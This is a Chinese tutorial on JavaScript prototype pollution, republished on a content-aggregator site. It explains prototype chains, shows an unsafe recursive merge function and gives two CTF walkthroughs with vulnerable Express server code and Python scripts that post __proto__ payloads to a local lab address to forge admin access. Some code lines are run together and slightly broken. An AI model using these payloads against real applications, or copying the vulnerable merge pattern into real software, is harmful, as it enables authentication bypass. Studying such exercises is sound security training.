安全基础 --- 原型链污染

原型链

大部分面向对象的编程语言，都是通过“类”（class）实现对象的继承。传统上，JavaScript 语言的继承不通过 class，而是通过“原型对象”（prototype）实现

1、prototype 属性的作用

JavaScript 规定，每个函数都有一个prototype属性，指向一个对象

function f() {}
typeof f.prototype // "object"
函数`f`默认具有`prototype`属性，指向一个对象

js中类的建立

js 中，定义一个类，需以定义“构造函数”的方式来定义：

function Foo() {this.bar = 1;
}new Foo();

解析：

Foo函数的内容，就是Foo类的构造函数，this.bar就表示Foo类中的一个属性

（为简化编写js的代码，ECmAScript6 后增加了class语法，但class其实只是一个语法塘）

js中的类中方法的建立

一个类中必然有一些方法，类似属性this.bar，也可将方法定义在构造函数内部

function Foo() {this.bar = 1;this.show = function() {console.log(this.bar);}
}(new Foo()).show()  // 1

解析：

出现问题：新建Foo对象时，this.show = function()... 就会执行一次，这个show方法实际上是绑定在对象上的，而不是绑定在“类”中

js中原型prototype的引用

在创建类时只创建一次show方法，需要使用原型（prototype）

function Foo() {this.bar = 1;
}Foo.prototype.show = function show() {console.log(this.bar);
}let foo = new Foo();
foo.show();

解析：

原型prototype是类Foo的一个属性，所有用Foo类实例化的对象，都有这个属性的所有内容，包括变量和方法。foo对象，天生具有foo.show()方法

此时Foo.prototype访问Foo类的原型，但是Foo实例化出来的对象，不能够通过prototype访问原型

2、__proto__

是 JavaScript 中一个对象的内部属性，它指向该对象的原型。原型是另一个对象，包含共享的属性和方法，对象可以通过原型继承这些属性和方法。

js 中__proto__的引用

一个 Foo 类实例化出来的 foo 对象，可通过foo.__proto__属性来访问Foo类中的原型

prototype和__proto__的定义

  1. prototype：一个类的属性，所有类对象在实例化的时候会拥有prototype中的属性和方法
  2. __proto__：一个对象的__proto__属性，指向这个对象所在的类的prototype属性

3、原型链继承

所有类对象在实例化的时候将会拥有 prototype 的属性和方法，这个特性被用来实现 js 中的继承机制

function Father() {this.first_name = 'Donald';this.last_name = 'Trump';
}function Son() {this.first_name = 'Melania';
}Son.prototype = new Father();let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)
//  Name:Melania Trump

解析：

Son类继承了Father类的last_name属性

主要流程：

  1. 在对象son中寻找last_name
  2. 无法找出，则在son.__proto__中寻找last_name
  3. 如果仍然无法找到，则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找，直到null结束。如：object.prototype的__proto__就是null

（js 中的这个查找机制，被运用在面向对象的继承中，被称为是prototype继承链）

PS：

  1. 每个构造函数（constructor）都有一个原型对象（prototype）
  2. 对象的__proto__属性，指向类的原型对象prototype
  3. js 使用prototype链实现继承机制

4、原型链污染

实例：

foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值，就可修改Foo类?

// foo是一个简单的JavaScript对象
let foo = {bar:1};// foo.bar此时为1
console.log(foo.bar);// 修改foo的原型（即object）
foo.__proto__.bar = 2;// 查找顺序原因，foo.bar仍然是1
console.log(foo.bar);// 此时用objecr创建一个空的zoo对象
let zoo = {};// 查看zoo.bar
console.log(zoo.bar);

解析：

修改 foo 原型foo.__proto__.bar = 2，而 foo 是一个object类的实例，所以实际上是修改了object这个类，给这个类增加了一个属性bar，值为2

后来用object类创建了一个zoo对象，let zoo = {}，zoo对象自然也有一个bar属性了

原型链污染定义：

如果攻击者控制并修改了一个对象的原型，那将可以影响所有和这个对象来自同一个类、父类的对象，这种攻击方式就是原型链污染

哪些情况原型链会被污染？

哪些情况可以设置__proto__的值？找到能够控制数组（对象）的“键名”的操作即可：

使用megre测试

function merge (target,source) {for(let key in source) {if(key in source && key in target){merge(target[key],source[key]);}else{target[key] = source[key];}}
}

merge操作是最常见可能控制键名的操作，也最能被原型链攻击

在合并过程中，存在赋值的操作 target[key] = source[key]，那么，这个key如果是__proto__,是不是就可以原型链污染呢？

使用如下代码进行测试：

let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);o3 = {};
console.log(o3.b);

结果：合并成功，原型链未被污染

解析：

js 创建 o2 的过程（let o2 = {a:2,"__proto__":{b:2}}）中，__proto__代表o2的原型了，此时遍历o2的所有键名，拿到的是[a,b]，__proto__并不是一个key，也不会修改object的原型

修改代码

let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);o3 = {};
console.log(o3.b);

解析：

JSON解析的情况下，__proto__会被认为是一个真正的“键名”，不代表原型，所以在遍历o2的时候存在这个键，

新建的o3对象，也存在b属性，说明object已被污染

实例

例1：hackit2018

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

解析：

获取 flag 的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在；全文没有对user.afmintoken进行赋值，理论上这个值不存在，但存在以下赋值语句

matrix[client.row][client.col] = client.data;
其中data、row、col，都是post传入的值，都是可控的。所以可构造原型链污染

本地测试

payload：使用python传入参数

import requests
import jsonurl = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"headers = {"Content-type": "application/json"}data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的 
res2 = requests.get(url1)print(res2.text)

运行结果：

例2：

'use strict';const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');const isObject = obj => obj && obj.constructor && obj.constructor === Object;function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}function clone(a) {return merge({}, a);
}// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

解析：

分析题目，获取flag的条件是：admin.admin == 1，而 admin 本身是一个 object ，其admin 属性本身并不存在，且有敏感函数 merge

function merge(a, b) {    for (var attr in b) {        if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}    
return a;
}// merge函数的作用是进行对象的合并，涉及到对象的赋值，键值可控，即可出发原型链污染

本地测试


显式为undefined，如下

创建字典时，__proto__不是作为键名，而是作为__proto__给其父类进行赋值，所以在test.__proto__中才有admin属性，目的是让__proto__作为键值，所以使用JSON.parse()


JSON.parse()会将json字符串转化为JavaScript中的object

此时创建类的时候就不会直接给父类赋值了 ，且题中也出现了JSON.parse

payload：使用python传入参数

import requests
import jsonurl1 = "http://192.168.174.123:3000/signup"
url2 = "http://192.168.174.123:3000/getflag"s = requests.session()headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

运行结果：

附：构造函数无return

function Person(name,age){this.name = name;this.age = age;// PS:没有显式的return语句
}const person1 = new Person("ling",22);
console.log(person1); // output:Person(name:'ling',age:22)

在第一个实例中，Person 构造函数没有显式的 return 语句，因此 new Person("ling",20) 将隐式地返回新创建的 Person 对象实例，并赋值给 person1 变量

function AnotherPerson(name,age){this.name = name;this.age = age;return{message:"This is returned object."};
}console.person2 = new AnotherPerson("Bob",25);
console.log(person2);// output:{message:'This is returned object.'}

第二个示例中，AnotherPerson 构造函数有一个显式的 return 语句，并返回了一个新的对象 {message:"This is a object."}，在这种情况下，new AnotherPerson("Bob",25) 将返回一个新的对象，而不是创建的AnotherPerson对象实例。因此，person2 变量得到的是一个普通对象而不是AnotherPerson的实例。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/107236.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

第三节：在WORD为应用主窗口下关闭EXCEL的操作（2）

第三节：在WORD为应用主窗口下关闭EXCEL的操作（2）

【分享成果&#xff0c;随喜正能量】凡事好坏&#xff0c;多半自作自受&#xff0c;既不是神为我们安排&#xff0c;也不是天意偏私袒护。业力之前&#xff0c;机会均等&#xff0c;毫无特殊例外&#xff1b;好坏与否&#xff0c;端看自己是否能应机把握&#xff0c;随缘得度。…
阅读更多...
数据结构与算法（一）数组的相关概念和底层java实现

数据结构与算法（一）数组的相关概念和底层java实现

一、前言 从今天开始&#xff0c;笔者也开始从0学习数据结构和算法&#xff0c;但是因为这次学习比较捉急&#xff0c;所以记录的内容并不会过于详细&#xff0c;会从基础和底层代码实现以及力扣相关题目去写相关的文章&#xff0c;对于详细的概念并不会过多讲解 二、数组基础…
阅读更多...
安科瑞铁塔基站能耗监控解决方案

安科瑞铁塔基站能耗监控解决方案

安科瑞 华楠 1 背景概述 5G发展&#xff0c;基站先行。5G基站的选址建设&#xff0c;是保证5G信号覆盖的基础&#xff0c;因此5G基站建设是5G产业布局的一部分&#xff0c;也是5G成熟的基础。 2G、3G、4G均是低频段信号传输&#xff0c;宏基站几乎能应付所有的信号覆盖。但由…
阅读更多...
【MFC】tab控件 仿任务管理器 枚举窗口和进程

【MFC】tab控件 仿任务管理器 枚举窗口和进程

界面和关联变量设置 创建一个基于对话框的MFC项目&#xff0c;给主对话框添加一个tab控件&#xff08;设置关联变量 类型&#xff1a;CTabCtrl 名称&#xff1a;m_tab&#xff09;&#xff0c;添加两个子对话框&#xff08;IDC_PAGE1和IDC_PAGE2&#xff09;&#xff0c;给子对…
阅读更多...
【数据结构】树的基础知识及三种存储结构

【数据结构】树的基础知识及三种存储结构

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …
阅读更多...
【Python】爬虫基础

【Python】爬虫基础

爬虫是一种模拟浏览器实现&#xff0c;用以抓取网站信息的程序或者脚本。常见的爬虫有三大类&#xff1a; 通用式爬虫&#xff1a;通用式爬虫用以爬取一整个网页的信息。 聚焦式爬虫&#xff1a;聚焦式爬虫可以在通用式爬虫爬取到的一整个网页的信息基础上只选取一部分所需的…
阅读更多...
SEO百度优化基础知识全解析（了解百度SEO标签作用）

SEO百度优化基础知识全解析（了解百度SEO标签作用）

百度SEO优化的作用介绍&#xff1a; 百度SEO优化是指通过对网站的内部结构、外部链接、内容质量、用户体验等方面进行优化&#xff0c;提升网站在百度搜索结果中的排名&#xff0c;从而提高网站的曝光率和流量。通过百度SEO优化&#xff0c;可以让更多的潜在用户找到你的网站&…
阅读更多...
redis持久化、主从和哨兵架构

redis持久化、主从和哨兵架构

一、redis持久化 1、RDB快照&#xff08;snapshot&#xff09; redis配置RDB存储模式&#xff0c;修改redis.conf文件如下配置&#xff1a; # 在300s内有100个或者以上的key被修改就会把redis中的数据持久化到dump.rdb文件中 # save 300 100# 配置数据存放目录&#xff08;现…
阅读更多...
数据结构:树的概念和结构

数据结构:树的概念和结构

文章目录 1. 树的概念2. 树的结构3. 树的相关概念4. 树的表示孩子表示法双亲表示法孩子兄弟表示法 5. 树在实际中的应用5. 树在实际中的应用 1. 树的概念 树是一种非线性的数据结构,它是由 n (n > 0)个有限结点组成一个具有层次关系的. 把它叫做树是因为它看起来像一棵倒挂的…
阅读更多...
学会用命令行创建uni-app项目并用vscode开放项目

学会用命令行创建uni-app项目并用vscode开放项目

(创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 目录 创建 uni-app 项目 命令行创建 uni-app 项目 编译和运行 uni-app 项目&#xff1a; 用 VS Code 开发 uni…
阅读更多...
机器学习笔记之最优化理论与方法(七)无约束优化问题——常用求解方法(上)

机器学习笔记之最优化理论与方法(七)无约束优化问题——常用求解方法(上)

机器学习笔记之最优化理论与方法——基于无约束优化问题的常用求解方法[上] 引言总体介绍回顾&#xff1a;线搜索下降算法收敛速度的衡量方式线性收敛范围高阶收敛范围 二次终止性朴素算法&#xff1a;坐标轴交替下降法最速下降法(梯度下降法)梯度下降法的特点 针对最速下降法缺…
阅读更多...
自动创建设备结点：udev机制的实现过程

自动创建设备结点：udev机制的实现过程

什么是udev&#xff1f; 在Linux系统中&#xff0c;/dev目录是用来存放设备文件的&#xff0c;每个文件指向一个系统设备文件&#xff0c;用户的程序可以通过使用这些文件来对真实硬件进行设备操作&#xff0c;但是在2.4内核时代&#xff0c;/dev下保存了所有kernel可以支持的硬…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023